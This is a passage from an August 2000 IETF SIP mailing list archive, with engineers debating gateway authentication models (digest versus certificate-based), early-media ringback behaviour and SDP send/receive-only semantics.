>-Jonathan R. > > >-- > > >Jonathan D. Rosenberg 72 Eagle Rock Ave. > > >Chief Scientist First Floor > > >dynamicsoft East Hanover, NJ 07936 > > >jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > ><http://www.cs.columbia.edu/~jdrosen>http://www.cs.columbia.edu/~jdrose > n PHONE: (732) 741-7244 > > ><http://www.dynamicsoft.com>http://www.dynamicsoft.com > > > > > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > > <http://lists.bell-labs.com/mailman/listinfo/sip>http://lists.bell-labs.co > m/mailman/listinfo/sip > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 13:56:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25668 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 13:56:12 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C8C7444348; Fri, 25 Aug 2000 13:55:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 7D6BB44348 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 13:50:13 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id NAA26969; Fri, 25 Aug 2000 13:49:56 -0400 (EDT) Message-ID: <39A6B1C4.E424802F@cs.columbia.edu> Date: Fri, 25 Aug 2000 13:49:56 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas <mat@cisco.com> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > > Why not? It may very well be that I don't trust > or have control over my first hop proxy. Assuming > that the gateway had a default secondary dialtone > IVR maze which would change the From: address and > respond to any challenges with a PIN, this is > pretty much exactly what you'd want. Also, if the gateway provides the caller id (e.g., as From), the UAS might be very interested in gauging whether it can trust this information. > > > Some options: > > > > 1. The realm indicates this. For example, a realm of "gateway" would > > indicate that the gateway is being authenticated, "user" means the user. > > We wouldn't need to standardize the actual words here, but rather > > standardize that the realm would indicate which was the case through > > administrative configuration. > > > > I think it's a slippery slope trying to draw > a difference between "gateway" and "user". A > better way to think of this, IMO, is that a > particular device may at any time take on one > or more identities, and that at any point each > proxy/UAS is entitled to demand authentication > for an identity in its realm. This is consistant > with real life: I have a drivers license for > driving, a credit card for buying dinner and > a cisco badge for getting into our buildings. > At each place, a different identity is stored in > those pieces of plastic and each demand the > proper one for its realm. Also note that the realm is the challenge *from* the UAS, so this would not be particularly useful in the general case. The model seems a bit different depending on whether we're talking about basic/digest or PGP (or S/MIME) authentication. For basic/digest authentication, the gateway would have to know a user id and password registered with the remote UAS, appropriate for the realm "challenge". It's not likely that either a gateway or proxy will know what user names and passwords are valid at the callee UAS. (It is much more likely that a GUI-equipped SIP UAC will have this information, e.g., embedded in an address book or other cache, similar to how web browsers handle authentication.) For PGP or S/MIME, this is much more likely, as long as I can get something that is certified. Again, very similar to server authentication in a web case. In that model, the UAS would simply get "this call originated from a gateway that has the private key of Telephant Telephone Company." This would likely be good enough for me to judge whether this company will deal with crank calls appropriately and whether the caller id is more than a random bit string. (What you really want is probably something stronger, such as a way to find out whether this entity is certified in some way to have these properties, as the average callee is unlikely to recognize Granby Telephone, say.) Since the number of calls from a particular gateway to a particular UAS are likely going to be very low in most instances (I'd guess no more than ten a day), long-lived associations or caching aren't any more necessary than for S/MIME or PGP-secured email. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 14:33:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26887 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 14:33:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2462C443B8; Fri, 25 Aug 2000 14:33:15 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 8AF07443B1 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 14:33:12 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id LAA22893; Fri, 25 Aug 2000 11:32:52 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA24509; Fri, 25 Aug 2000 11:32:34 -0700 (PDT) From: Michael Thomas <mat@cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14758.48066.388917.988364@thomasm-u1.cisco.com> Date: Fri, 25 Aug 2000 11:32:34 -0700 (PDT) To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Michael Thomas <mat@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A6B1C4.E424802F@cs.columbia.edu> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > The model seems a bit different depending on whether we're talking about > basic/digest or PGP (or S/MIME) authentication. > > For basic/digest authentication, the gateway would have to know a user > id and password registered with the remote UAS, appropriate for the > realm "challenge". It's not likely that either a gateway or proxy will > know what user names and passwords are valid at the callee UAS. (It is > much more likely that a GUI-equipped SIP UAC will have this information, > e.g., embedded in an address book or other cache, similar to how web > browsers handle authentication.) > > For PGP or S/MIME, this is much more likely, as long as I can get > something that is certified. Again, very similar to server > authentication in a web case. In that model, the UAS would simply get > "this call originated from a gateway that has the private key of > Telephant Telephone Company." This would likely be good enough for me to > judge whether this company will deal with crank calls appropriately and > whether the caller id is more than a random bit string. (What you really > want is probably something stronger, such as a way to find out whether > this entity is certified in some way to have these properties, as the > average callee is unlikely to recognize Granby Telephone, say.) I guess I'm missing the huge difference here. Both situations the UAC is somewhat clueless about what credentials it needs to ship for the URI. It can guess, and may do a reasonable job at that, but it looks fundamentally the same to me. > Since the number of calls from a particular gateway to a particular UAS > are likely going to be very low in most instances (I'd guess no more > than ten a day), long-lived associations or caching aren't any more > necessary than for S/MIME or PGP-secured email. The caching may not be very important on the UAS. It becomes more important the farther upstream you go. It seems silly to always be shipping credentials to my first hop proxy, for example, when a far simpler keyed hash would do. The trick for the UA's is to know when the credential has been cached so that it can use the faster method. This is trivial for the first hop, but problematic at subsequent hops since you don't exactly know how a particular request URI will be routed until you try it. Maybe there's some algorithmic ways of accomplishing that, but I suspect that heuristics may be easier to implement and provide adequate results. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 14:37:48 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA26927 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 14:37:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 70FA6443AB; Fri, 25 Aug 2000 14:37:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 6ED55443B1 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 14:31:55 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA29404; Fri, 25 Aug 2000 14:31:46 -0400 (EDT) Message-ID: <39A6BB92.EB836D5E@cs.columbia.edu> Date: Fri, 25 Aug 2000 14:31:46 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> <39A52333.A1E79D73@cs.columbia.edu> <39A5F723.7C8909E0@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Below is some text trying to summarize this discussion. I'm not sure we agreed on the parts marked with ??? Informational (1xx) responses {\MAY} contain message bodies, including session descriptions. Later session descriptions override earlier ones. The session description allows the UAC to receive special announcements or progress tones. If a 1xx response contains a session description, a UAC {\SHOULD} cease generating local ringback tone, but resume local ringback tone if it receives a 1xx response without a message body from the same destination. The media streams are assumed to be bidirectional unless marked as send-only or receive-only, as described in Section~\ref{sec:sdp}. Removing the session description in a subsequent provisional response restores normal ringback behavior. ??? Client behavior when receiving several different session descriptions from different branches is undefined. ??? Finally, there's a small bug in the current definition of the send-only and receive-only description in Section B.2. RFC 2327 says: a=recvonly This specifies that the tools should be started in receive-only mode where applicable. It can be either a session or media attribute, and is not dependent on charset. This is presumably from the viewpoint of the receiver of the SDP. (This would certainly be true if I used SDP to invite somebody to a multicast conference.) Thus, if the caller wants to only send, it should logically include a 'recvonly' in its SDP, since that's what the receiver of the SDP (the callee) would have to do. In the current SIP B.2 definition, If a session description from a caller contains a media stream which is listed as send (receive) only, it means that the caller is only willing to send (receive) this stream, not receive (send). The same is true for the callee. This says the opposite: the caller that only sends would set the description to send-only. It may be too late to fix this, depending on whether anybody actually implements sendonly and recvonly. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 14:58:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27225 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 14:58:26 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 85CAE443AD; Fri, 25 Aug 2000 14:57:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id DD4D044392 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 14:54:02 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA03330; Fri, 25 Aug 2000 14:53:55 -0400 (EDT) Message-ID: <39A6C0C3.7BEC4838@cs.columbia.edu> Date: Fri, 25 Aug 2000 14:53:55 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Michael Thomas <mat@cisco.com> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Michael Thomas wrote: > > > I guess I'm missing the huge difference > here. Both situations the UAC is somewhat > clueless about what credentials it needs > to ship for the URI. It can guess, and may > do a reasonable job at that, but it looks > fundamentally the same to me. No, this is very different. In the certificate (X.509, S/MIME, PGP) case, the UAC doesn't need to know anything about the receiver. It simply sends a cert saying "CA X believes I'm Telephant Telecom. If you believe CA X, you'll trust that I'm indeed Telephant." For basic and digest, the UAC has to know - what user id's are valid at the UAS - what secrets are associated with those userids. Generally, a gateway calling a random SIP URL (obtained via enum, say), would have no clue about any of these. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:05:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27363 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:05:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 554AE443C8; Fri, 25 Aug 2000 14:59:02 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 8D40D44392; Fri, 25 Aug 2000 14:56:58 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id OAA03453; Fri, 25 Aug 2000 14:56:53 -0400 (EDT) Message-ID: <39A6C175.C94B32A1@cs.columbia.edu> Date: Fri, 25 Aug 2000 14:56:53 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Igor Faynberg <faynberg@bell-labs.com> Cc: listadmins@research.bell-labs.com, extest@lists.bell-labs.com, ietf-sin@lists.bell-labs.com, iptel@lists.bell-labs.com, pint@lists.bell-labs.com, sip@lists.bell-labs.com, spirits@lists.bell-labs.com References: <39A68C4F.6079EBE7@research.bell-labs.com> <39A6B8A1.19D68E60@bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Re: [IPTEL] Re: [IETF-PIN] NOTICE: Stripping attachments from list mail. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Igor Faynberg wrote: > > Shaun, > > Many thanks for the information. I believe you have made the right decision. > Furthermore, for all IETF lists (PINT, SIN, SPIRITS, IPTEL) you may and should > disallow even .doc and .ppt attachments. Those who post to these lists must > follow the IETF-required practice of putting documents on their own sites and > sending only pointers via the exploders. To summarise, only text files should be > admitted to the IETF lists. > > Please also feel free to impose a reasonable limit on the size of the > IETF-related e-mail messages. Actually, those probably shouldn't be sent at all to an open-standards list, as they are proprietary formats that are difficult for a significant fraction (i.e., those not using Microsoft operating systems) to read and are themselves likely to contain viruses. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:17:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27516 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:17:36 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8DBA1443E6; Fri, 25 Aug 2000 15:02:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id A82C8443C9 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 15:02:18 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA12454; Fri, 25 Aug 2000 12:02:01 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA24536; Fri, 25 Aug 2000 12:01:43 -0700 (PDT) From: Michael Thomas <mat@cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14758.49815.427708.431582@thomasm-u1.cisco.com> Date: Fri, 25 Aug 2000 12:01:43 -0700 (PDT) To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Michael Thomas <mat@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A6C0C3.7BEC4838@cs.columbia.edu> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > I guess I'm missing the huge difference > > here. Both situations the UAC is somewhat > > clueless about what credentials it needs > > to ship for the URI. It can guess, and may > > do a reasonable job at that, but it looks > > fundamentally the same to me. > > No, this is very different. In the certificate (X.509, S/MIME, PGP) > case, the UAC doesn't need to know anything about the receiver. It > simply sends a cert saying "CA X believes I'm Telephant Telecom. If you > believe CA X, you'll trust that I'm indeed Telephant." For basic and > digest, the UAC has to know Not true. You are still guessing that the UAS will trust that certificate hierarchy. That may not be a valid assumption. It's the exact same problem as guessing which basic/digest realm might be needed along the way. I can just as easily posit a global symmetric key realm as a global PKI realm. Both are fantasies. This is a TANSTAAFL problem inherent in proxy routed traffic. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:35:39 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27804 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:35:39 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id ED93D443BD; Fri, 25 Aug 2000 15:35:20 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 8B78F4439C for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 15:35:17 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id MAA26904; Fri, 25 Aug 2000 12:34:55 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA24540; Fri, 25 Aug 2000 12:34:35 -0700 (PDT) From: Michael Thomas <mat@cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14758.51787.331133.132625@thomasm-u1.cisco.com> Date: Fri, 25 Aug 2000 12:34:35 -0700 (PDT) To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Michael Thomas <mat@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>, David Harris <dlharris@nortelnetworks.com>, "Sip-Implementors (E-mail)" <sip-implementors@cs.columbia.edu>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A6C49E.9844FF65@cs.columbia.edu> References: <89866A7EC9C0D1119C950000F8BCC282016352E9@zrtpd00n.us.nortel.com> <39A6035E.4DDC74C0@dynamicsoft.com> <14758.38134.851139.496078@thomasm-u1.cisco.com> <39A6B1C4.E424802F@cs.columbia.edu> <14758.48066.388917.988364@thomasm-u1.cisco.com> <39A6C0C3.7BEC4838@cs.columbia.edu> <14758.49815.427708.431582@thomasm-u1.cisco.com> <39A6C49E.9844FF65@cs.columbia.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne writes: > Michael Thomas wrote: > > Not true. You are still guessing that the UAS will > > trust that certificate hierarchy. That may not be > > a valid assumption. It's the exact same problem > > as guessing which basic/digest realm might be needed > > along the way. I can just as easily posit a global > > symmetric key realm as a global PKI realm. Both > > are fantasies. > > Given the practical success of having CA's embedded in millions of web > clients, this seems at least feasible and works millions of times each > day, even though it's less than ideal if you're a new CA and want to be > recognized as such. Just because I trust your certificate to name you as Henning doesn't relieve me of knowing what you're authorized for. That means that I keep it in some sort of database or it needs to be transfered in the authentication token (cert, ticket). Keeping a symmetric key in that database as well doesn't seem to much of a stretch. So, I still don't see what you've bought yourself with PKI, other than lots of CPU cycles to do private key operations. If you encode the authorization into the cert you fall back into the same problem of realm multiplicity, if you don't you've consigned yourself to database lookups. > This does not mean that you couldn't use a ticket-based system (Kerberos > and kin), but we're here talking about the existing SIP authentication > mechanisms Basic, Digest and PGP (or, in the case of S/MIME, trivially > added), not something that doesn't exist yet in our context. There are two possiblities: 1) Carry the authentication in SIP itself which runs into the MTU problems, naively. 2) Carry the authentication in a separate protocol (such as the results of the KINK to-be-WG) and reuse digest authentication as the means of generating the keyed hash. I generally don't like reliance on third party protocols/questionable layering, but it is a possiblity and is somewhat inherent in both IPsec and TLS schemes (less so with TLS, but still). Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 25 15:39:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA27845 for <sip-archive@odin.ietf.org>; Fri, 25 Aug 2000 15:39:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1F168443EE; Fri, 25 Aug 2000 15:36:23 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from zrtps06s.us.nortel.com (unknown [47.140.48.50]) by lists.bell-labs.com (Postfix) with ESMTP id F3B67443E3 for <sip@lists.bell-labs.com>; Fri, 25 Aug 2000 15:36:02 -0400 (EDT) Received: from zmers013 (actually zmers013.ca.nortel.com) by zrtps06s.us.nortel.com; Fri, 25 Aug 2000 15:34:42 -0400 Received: from zmerd00d.ca.nortel.com by zmers013; Fri, 25 Aug 2000 15:34:14 -0400 Received: from americasm01.nt.com (rworkman-2.ca.nortel.com [47.155.69.160]) by zmerd00d.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id QY8BG06X; Fri, 25 Aug 2000 15:33:56 -0400 Message-ID: <39A6CBA8.BB5B4198@americasm01.nt.com> Date: Fri, 25 Aug 2000 15:40:25 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Rick Workman" <rworkman@nortelnetworks.com> Organization: Nortel Networks X-Mailer: Mozilla 4.72 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne <schulzrinne@cs.columbia.edu> Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Brett Tate <brett@broadsoft.com>, Cliff.Harris@nokia.com, sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <E39024226822D311BC880008C77318A1AB757A@oteis01nok> <049e01c00ba3$adadfed0$3202a8c0@broadsoft.com> <39A4BB82.19559938@dynamicsoft.com> <39A52333.A1E79D73@cs.columbia.edu> <39A5F723.7C8909E0@dynamicsoft.com> <39A6BB92.EB836D5E@cs.columbia.edu> Content-Type: multipart/alternative; boundary="------------617A1C059AE87FD8863CE0C9" X-Orig: <rworkman@americasm01.nt.com> Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com --------------617A1C059AE87FD8863CE0C9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Henning Schulzrinne wrote: > Below is some text trying to summarize this discussion. I'm not sure we > agreed on the parts marked with ??? > > Informational (1xx) responses {\MAY} contain message bodies, including > session descriptions. Later session descriptions override earlier ones. > The session description allows the UAC to receive special announcements > or progress tones. If a 1xx response contains a session description, a > UAC {\SHOULD} cease generating local ringback tone, but resume local > ringback tone if it receives a 1xx response without a message body from > the same destination. The media streams are assumed to be bidirectional > unless marked as send-only or receive-only, as described in > Section~\ref{sec:sdp}. Removing the session description in a subsequent > provisional response restores normal ringback behavior. ??? Client I'd really prefer if no SDP content meant no change in the current media configuration regardless of what message carried it. If a UAS wants to terminate early media, shouldn't it send a media description with port=0 as in any other stream removal (Section B.5)? I haven't been following this thread in detail, so apologies if I've mssed some key issue in the discussion. Rick > 